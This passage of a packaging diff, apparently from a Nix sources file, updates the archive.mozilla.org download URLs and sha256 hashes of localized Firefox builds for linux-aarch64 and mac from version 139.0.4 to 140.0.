+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/oc/firefox-140.0.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "ee733c11d6748f89620546b60dd6e364b055ffdbb7834275b4c2a224b44a1d79";
+      sha256 = "a1408bad0de2c64ecea1a72864d9f363da4a153d98d83e7e18db8eae47b796d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pa-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pa-IN/firefox-140.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "2807b091028c94b92171cd3369325357dca07549224d5484a761fb996966d70c";
+      sha256 = "88f5f43b701a94d8551e2786f72b7643e4506609f42a2c3596f458d278362d1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pl/firefox-140.0.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "2ad1f24700bada087409929ad541f213f25dba9065dff152521f760a6ce03573";
+      sha256 = "3e7df16ed8b4f808a093e337cd9f79eaba3c39c950561680eb1969027a10a2d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-BR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-BR/firefox-140.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "1555a9dfecbb351ac2c4f83c20c61730e4939f06fbd1335f5a117e35d3baeda2";
+      sha256 = "d2ae5d20752a16453d7b9146811ffe7646587544611aa1580ab753584653d816";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-PT/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-PT/firefox-140.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "0b68437f514b694fd81482e1933cee522fd03e0a73ac88184fab4eed5b48ee70";
+      sha256 = "4d8acb0411b0b1bbbc09db99a7fde9506f8e61cd5dc147c93dd4a9a7a40d6b02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/rm/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/rm/firefox-140.0.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "274e83d5bfa3f358d416a420a608722ad69a8ebccc5ca8ff826bb9b6c5c366d9";
+      sha256 = "f98801cafadb0d8ea5b88ae26052134f9b7b90da6653f2181b731f638afebcab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ro/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ro/firefox-140.0.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "1cde9cdd28a1a4f1d9c6e53442600d2ffd3e0e37125ce6a8953b350cabffbf30";
+      sha256 = "058c99e4cf2c95739d6a09cb5e44111c8d49ba01a51bd2a3ce7557258d5cd3ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ru/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ru/firefox-140.0.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "311cc9df6d653aadc89e1c1f4a54d52c4c2235dc3a1ab07f7aa7fe32adc85b8c";
+      sha256 = "e8f4084f31f6833d4254502f93aee87f76fd1592b5250e04e03790572ba66a14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sat/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sat/firefox-140.0.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "0a7c5624a4c50eec58ad041c1a94ae24922a66c1477407c5188e0e7b57c86cc1";
+      sha256 = "17dcb716a149183a35bd32a0948ab3171be4a547cbc39d2e0d14ac2e07a26a19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sc/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sc/firefox-140.0.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "2b230266a68e8b9bd897b05c1bffe1d5c16b23d599e4dbac377e2a36532563c1";
+      sha256 = "f15a75dbd51f6c1341190904e996a9afee73eba615f48d92c021b8a2a6341425";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sco/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sco/firefox-140.0.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "4c91e4c4e9a762f92d374fffe0f6a9f76a58e8228bad6e16242a441c99dd0330";
+      sha256 = "6b74e2091d37d0b0b6355d136693d9f64bdf37d32392561ec946c16804c438de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/si/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/si/firefox-140.0.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "b72ec88381e4a65e8572c64c23070d8e382d11bd8da236e8e67879b8e143daf3";
+      sha256 = "c53b6b388d652721c6f529604d08e11256a27130e8a410afe516d6583f0375b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sk/firefox-140.0.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "5b158a10f6ce4a22a004f71c5891d1de64a33f4eede7bc4d84bee5e306424d34";
+      sha256 = "6e9eadfe9f5cf42e652d4be2a108bb419b6a313465bd51668ee7f808a02b0d4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/skr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/skr/firefox-140.0.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "91dd2ca54f93c2e0e1bfab6063dbce82657b9a66364613b100f55c643bd442ee";
+      sha256 = "cf3c531d3963963878fd184351c8966ba03a910e00f34e5a67eea90f79a24be0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sl/firefox-140.0.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "178e67e4ddba5077f8439b3441ae7e03e9b4df0a305c8dcd3cc6be3f6718dd12";
+      sha256 = "1eff6cd0299936498389bc4d19d2492277098d2070b559e292161b430b2784f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/son/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/son/firefox-140.0.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "a1cd95b97d652be5b2191a05c97d7c32981de3949801126dcfc15a09714a4f84";
+      sha256 = "352fd568f3daf11cd82e25949c8af29cf8e0ed301f6622866a85e1cbda1a985b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sq/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sq/firefox-140.0.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "1fbadabcb66c4d4826db66510718235415e7d22af37273f14389bebf2693e13f";
+      sha256 = "a65872fec817052b5764f582808060c15659301072b3485c64240848e96c0973";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sr/firefox-140.0.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "b8855b52f62c4f59b9e96b38e2b31ebd4c82a402596a504c2d630d585aecd0ca";
+      sha256 = "81c375f570842704feb3fb5a70778f62ffdc947b701a3e8d5cb6dd8629881b06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sv-SE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sv-SE/firefox-140.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "16c5827b2fd8945525073a7736bb55c7cba282b637c207fdd94b5afb1828ff84";
+      sha256 = "d0e56fdb7a5c1c1ad3301b151198eb3242452f3b57fcd1598713d6a968ef2b02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/szl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/szl/firefox-140.0.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "3c8ee2ab4777e8d22e3e61f11ecb9597b5974bbf13eabfd6a1c9a53beb18bdad";
+      sha256 = "097ab1dedc4a34518e384dbb3d855e850b8ba40b3a2b7c658b8d1f9b3d461ef2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ta/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ta/firefox-140.0.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "e229643e0c446e56fa5e9917b343647dca48665629adaf7f251d2a5b4e547420";
+      sha256 = "a32d31fc9959e3ac53d7de110ecdcb67dc2de418b9f8efac516e8f24069df789";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/te/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/te/firefox-140.0.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "1a7dbf9b69427cd8f424640062741b6e2bed0280fdff5f4acc13a0d7703fea0f";
+      sha256 = "c24a2b30f7f753bc47dd3abf197df34b2e9e0bdce54ddeee4e4d8b324d2dd08e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tg/firefox-140.0.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "02564d54f763fec86e911690ad0457d0e7eddb032bc397e57fda436eb74d5ee4";
+      sha256 = "d1353bc0a07ee1a46bc6ef33721b1fc3cc15c3e6573c271d5e767784019f024d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/th/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/th/firefox-140.0.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "4b16d0fbcee12931001714232dedcb3a4ddf7d2df0c1d5ff4da43d757d4cae08";
+      sha256 = "7134f78cce1a40647194c0dbb73956d9f9be52774a72a480f93f6b727367c323";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tl/firefox-140.0.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "5744f47fef3dcbebca72356dc27ac08e501dd325ebd47cf48a6442dd6d6de33e";
+      sha256 = "25ed58bd672ab9dba6ed8e52bedfd5213d92595e75604bd0ec5e3840bd69abe4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tr/firefox-140.0.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "b674fd55febe6d3ca585127ddee719e6bff0fec486ddaf5ecd2b1bdc922ba1cc";
+      sha256 = "ecb3de9fed0c635e950cd8d08c0a4564d305e7b5749329c3f16b3348ec41dea2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/trs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/trs/firefox-140.0.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "d91fe874274c0ba294b7a9d6a9a53704ee17e10ef23b7e6402fd20b4877e1b76";
+      sha256 = "532db68ffebf59ad0244d669c0196bc1287d50d20637d92da1937b5ee8e72bd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uk/firefox-140.0.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "ce55b8f396382d8c7ce0be3e50fc4a3415d7ab2ce546293c3c1e777c26334b6f";
+      sha256 = "4f5e607103dd86ceeaea4c1cae1083ac87fb95aa0972556043b74bd476b02e33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ur/firefox-140.0.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "532d90fb392d3edabecf917b3198cb78c7a4a6dd571483894970c53f0d0651d2";
+      sha256 = "99a2b04b388d4593eac2f94b508a6fb12a2baabfda590e7f10ea06faa3ca3622";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uz/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uz/firefox-140.0.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "ca1355ea31db97494ead7c8ccd18280c56262c961f6f2e473c10ead9a47ed680";
+      sha256 = "aec185fd4db0b853681eccdd83ff28a3449e2fcf864790b4a30b00c78e93400c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/vi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/vi/firefox-140.0.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "50b132ca628e3d252a56878e327e431c63361949da213b4a75482820a15a7f1a";
+      sha256 = "22b0b31a6f1f36beae7277b43cd54512ce37637309d7b560b7adb9320b11e2b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/xh/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/xh/firefox-140.0.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "59a1a5b5dfd3b46b133ee289d4942e0d0c4dfe656336a04f9f8a69498d989ee1";
+      sha256 = "682baecc9e328ccffda49c268489dc1275c678a57c6c244f96531da04ae2aa07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-CN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-CN/firefox-140.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "f21395911323c3a68e8fbee8ff8fc4aee40b35eea99879f35b6dae872ff08f71";
+      sha256 = "371000dcaccc8b0e6416853dd90006bec0be351892f1024c64f20a880ad7c9a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-TW/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-TW/firefox-140.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "7f2c6edc679c4b3ca126d40051eb57429cfd12e4e0b88632945f8c3f43559a1d";
+      sha256 = "ae9233bbad9576e3752013d3e870fe62b8b01420a32f4c44cbc6f1b9d71ae83a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ach/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ach/Firefox%20140.0.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "2719e5aac6eb8c169e75a26ebf6b6de8e9c54adfd09431a8c6a140553136b84c";
+      sha256 = "252e14211dc82d4da1b5d0f02885b2d71ddef5b7d2161d1cd2d36b3626d47127";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/af/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/af/Firefox%20140.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "b1c6cf858c3c8918267e4a41aef6827931d317c45fb8c8a00ba05593c80b27e5";
+      sha256 = "6527a8e846ceaea20c2ad106fb0798f03df4f8dbb9b7ff43331b0ffeb6c9616c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/an/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/an/Firefox%20140.0.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "577d4c2dd712b3241b143f1bc61c830bf59867200a62165ff6e8c9f0f6df3516";
+      sha256 = "d32a9e0befd6efc08cd9d9bdd6d5fb9043477bc0d4e2cf59e8674b28adb0e013";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ar/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ar/Firefox%20140.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "17c75522114962ea274133e014e4dad95dd9a6e00182ab3edb2ad7980f891365";
+      sha256 = "481e021c3eec7e63b10e9ca2b8a90580b02484f0ffdb60bed73886ae58246a41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ast/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ast/Firefox%20140.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "cb511c581fb63bc060f9580257bd324f37bac7f9bc1c1de2d900c67767197a19";
+      sha256 = "b2aa1e68e9d543f780284455763e38c52a4f95a4e44ab09d7a5849c244e5170a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/az/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/az/Firefox%20140.0.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "3fc6810b311358add979fba5952b8297b0c1e1f4f8b9e886a6f4d03f7a063934";
+      sha256 = "3d98ebcfbc8cca145457f23f75f78d9091b41031e3264bd7444925905902e6df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/be/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/be/Firefox%20140.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "8a4658504c3563479bd7a82f2508ece131a90cf8980d3dbd58aa58fd7ebb31ef";
+      sha256 = "13a887e13133bf942db51b5288e95b78466eec20c013bd694ece2f4e984bff6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bg/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bg/Firefox%20140.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "e13d1527f19e15a777b35a0c8ba29107fa96ae08f148e11bacc000b3cca6b1bd";
+      sha256 = "91ee8c4ee554ccbf663c658d817017196ee0a473d241feeb819d7888a8537e74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bn/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bn/Firefox%20140.0.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "78f298ec415f37e760e0f1452acf648cdd0ae46629f701004d12ced70265be66";
+      sha256 = "1479f506ccab899bfcb78d2576655c5cbc3c4099000e7c43ddba79e7fabecf01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/br/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/br/Firefox%20140.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "eb955ddd18c7059e07c2286969ec681acb35021946316b40435fe2a0d176d6d8";
+      sha256 = "ce26c22755bd3926605505ce20b3177fab60841d5db33f10037ce76224d399c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bs/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bs/Firefox%20140.0.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "f06bae4d8a0abe53f939af0f104680939179b08993ad75e50e125083d2f7da71";
+      sha256 = "ed5a5633a15eee2171f5b7476f613c35840a32ca5be11f77d9d2bc48f2d75f98";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca-valencia/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca-valencia/Firefox%20140.0.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "5f51dc58073d1f4ad4af26798e7e27d4fc217a12d78fab9ae17830bbde946511";
+      sha256 = "9af340066d32661b058d5af792bb47459fafaf656eed8156cd2e98e015493969";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca/Firefox%20140.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "474044466024a959160445d50807c8464af8948152141c3883d654a65d60f09c";
+      sha256 = "522f922fad7766f53929f37df844a38e9fa3d22c057e5f7a7dd5823e009fd6c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cak/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cak/Firefox%20140.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "7af9ffce74118116447796b25014c7a4e0b248c3459c7e34bd666ffcbdc8a7b1";
+      sha256 = "f53867fac80e28139e394641e8b0d3d9d8e16fbafdaa78b2193b9b5defe61170";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cs/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cs/Firefox%20140.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "87581633817c93876ce2121a547efac0d5e042ed0636262367aed6f494fa0122";
+      sha256 = "472ed62990a4e5c8678f3ec8bfcab2f3284501f2ca836beeae529d33f05db578";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cy/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cy/Firefox%20140.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "94acd045d30585b9d0313be4d4a94144c3aa51915b391819bdf7ada85c80dfb3";
+      sha256 = "b1fffc2a97e89075ea9b80240cb7fd80536328966fc312988ec6de653184769c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/da/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/da/Firefox%20140.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "29dbd5985eae4674fa1009fb54f817a00b70c419c7186695874798d99f9e18a4";
+      sha256 = "65f13829b0928082537198e63bec919059deb34f2edb806e5b7c0ec706432385";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/de/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/de/Firefox%20140.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "5c890b5a31079d7cc6fe3668b0f9af86fcb165b1821c3534e7e373e2a5928152";
+      sha256 = "d0e934d88bf088f6bc127c6700a4c540a1c9d139b663513a59fb3a618087956b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/dsb/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/dsb/Firefox%20140.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "f3f0549e3aaaea2d33341ff9172ff296841846f1f7482b89e725124534cc804d";
+      sha256 = "6b48594c3db6149eb8cb3b10458379de6fbd11801d38c0886add0e91c0146b41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/el/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/el/Firefox%20140.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "0bc124319e9997a07c73f820f39d41f3ca739dbc5cba458b9391531c80c1f128";
+      sha256 = "e5909b4b8b3e798fb6e016262ad21606de0fbe255408b32d3cf1c498e8ea8342";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-CA/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-CA/Firefox%20140.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "b2edf6cacbc8651beedf56e9b7ec882cba7c860ea1bce19f7cd5ba366efea23b";
+      sha256 = "c2b537cdb63ad1cbc9c4e2d4edd861da2e0c1c6735f6aa280882963be478f085";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-GB/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-GB/Firefox%20140.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "142d495b2aae797d5c33904d3f694a717b14b627e78efbcbc344020eb42d44f7";
+      sha256 = "d8f845f442e00f46ea448a57433a3276863dac6a5407b1c7d26211888f23f637";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-US/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-US/Firefox%20140.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "fc058bf34094828c0919ad81672d697cf01dfa291ba9b11e0b1c119588878405";
+      sha256 = "6ed2ee0aa3f64a9eac93e1195c8fca54ba6b53c07eeea6fe4c6144491ae6b3d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eo/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eo/Firefox%20140.0.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "528d792d5c2398f8164408d4de59d10aef40441a882a304b9f4eb05dd9ea30f4";
+      sha256 = "ad6ca2fdd2a8267da135dbdb1d53e4f2e33bc118151177cad171bed51062bee4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-AR/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-AR/Firefox%20140.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "6280d5f556981cbd48cd7912383c2e5a6640c88b7a6392b3be5a4c34d52ec8ca";
+      sha256 = "5bb2ce2e1c741bdd53d32d8d0e666be002ff72078f62c781ea9ffd867cbf55cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-CL/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-CL/Firefox%20140.0.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "1566a7f4c80ad0c8b6ad6e05aafa7c8913fdd66c0a43951e409c9e56a1e4e461";
+      sha256 = "3f8448679f63ac70cdc8cf74329eb32209470f582ba972dbf8eafded58a1b990";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-ES/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-ES/Firefox%20140.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "e7fbd059301ab812c1e6ff7c697eaec507618729992fbd8bf6ec5bceefa497b8";
+      sha256 = "2d92be4ea56616fcb9bc3b83609da630891f949e4398e39b540efb6d5c429afb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-MX/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-MX/Firefox%20140.0.dmg";
       locale = "es-MX";
       arch = "mac";
